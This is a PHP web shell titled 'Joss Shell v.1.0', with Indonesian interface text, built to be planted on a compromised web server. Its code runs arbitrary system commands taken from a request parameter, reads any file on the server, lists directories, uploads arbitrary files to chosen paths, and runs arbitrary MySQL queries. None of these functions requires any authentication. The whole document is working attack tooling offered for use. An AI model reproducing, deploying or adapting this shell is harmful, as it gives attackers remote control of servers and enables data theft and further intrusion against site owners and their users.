Untitled

<title>Joss Shell v.1.0</title>
<style>
a{
color:white;
text-decoration: none;
}
a:hover{
color:lime;
text-shadow:0px 0px 10px #ffffff;
}
</style>
<body bgcolor="black"><font color="lime">
<font size="5">Joss Shell v.1.0</font><br><font size="2">Code By Cy#b3r00T</font><hr>
<?php
ob_implicit_flush();
if(isset($_REQUEST['f'])){
        $filename=$_REQUEST['f'];
        $file=fopen("$filename","rb");
        fpassthru($file);
        die;
}
if(isset($_GET['dir'])){
        $d=$_GET['dir'];
        echo "<pre>";
        if ($handle = opendir("$d")) {
        echo "<h2>Dir: $d</h2>";
                   while ($dir = readdir($handle)){
                       if (is_dir("$d/$dir")) echo "<a href='$PHP_SELF?dir=$d/$dir'><font color=lime>";
							else echo "<a href='$PHP_SELF?f=$d/$dir'><font color=white>";
                       echo "$dir\n";
                       echo "</font></a>";
                }

        } else echo "Gagal membuka dir / Dir mungkin salah";
        closedir($handle);
        die ("<hr>");
}
if(isset($_REQUEST['c'])){
	echo "<pre>";
	system($_REQUEST['c']);
	die;
}
if(isset($_REQUEST['upload'])){

		if(!isset($_REQUEST['dir'])) die('Masukan dir yang benar!');
			else $dir=$_REQUEST['dir'];
		$fname=$HTTP_POST_FILES['file_name']['name'];
		if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))
			die('Gagal upload!!');
}
if(isset($_REQUEST['mquery'])){

	$host=$_REQUEST['host'];
	$usr=$_REQUEST['usr'];
	$passwd=$_REQUEST['passwd'];
	$db=$_REQUEST['db'];
	$mquery=$_REQUEST['mquery'];
	mysql_connect("$host", "$usr", "$passwd") or
    die("Could not connect: " . mysql_error());
    mysql_select_db("$db");
    $result = mysql_query("$mquery");
	if($result!=FALSE) echo "<pre><h2>Berhasil Eksekusi Query!</h2>\n";
    while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row);
    mysql_free_result($result);
	die;
}
?>
<pre><form action="<? echo $PHP_SELF; ?>" METHOD=GET >Eksekusi Command: <input type="text" name="c"> <input type="submit" value=">>"><hr></form>
<?php
$files = @$_FILES["files"];
if ($files["name"] != '') {
    $fullpath = $_REQUEST["path"] . $files["name"];
    if (move_uploaded_file($files['tmp_name'], $fullpath)) {
        echo "<a href='$fullpath' target='_blank'>Akses untuk $fullpath</a>";
    }
}echo '<form method=POST enctype="multipart/form-data" action=""><input type="file" name="files"><input type=submit value="Upload Njeng!"></form></body></html>';?><div id="a">
<hr>[<a href="?dir=<?php echo getcwd();?>">Browse Dir</a>]<br>
<br>Masukan dir yang mau dituju.<br>
Contoh: <font color="white">http://<?=$_SERVER['HTTP_HOST'];?>/<?php $current_file_name = basename($_SERVER['PHP_SELF']); echo $current_file_name;?>?dir=<?php echo getcwd();?></font>
<hr>Eksekusi MySql Query:
<form action="<? echo $PHP_SELF; ?>" METHOD=GET >
Host:<input type="text" name="host"value="localhost">  User: <input type="text" name="usr" value=root> Password: <input type="text" name="passwd">

Database: <input type="text" name="db">  Query: <input type="text" name="mquery"> <input type="submit" value="Eksekusi">
</form>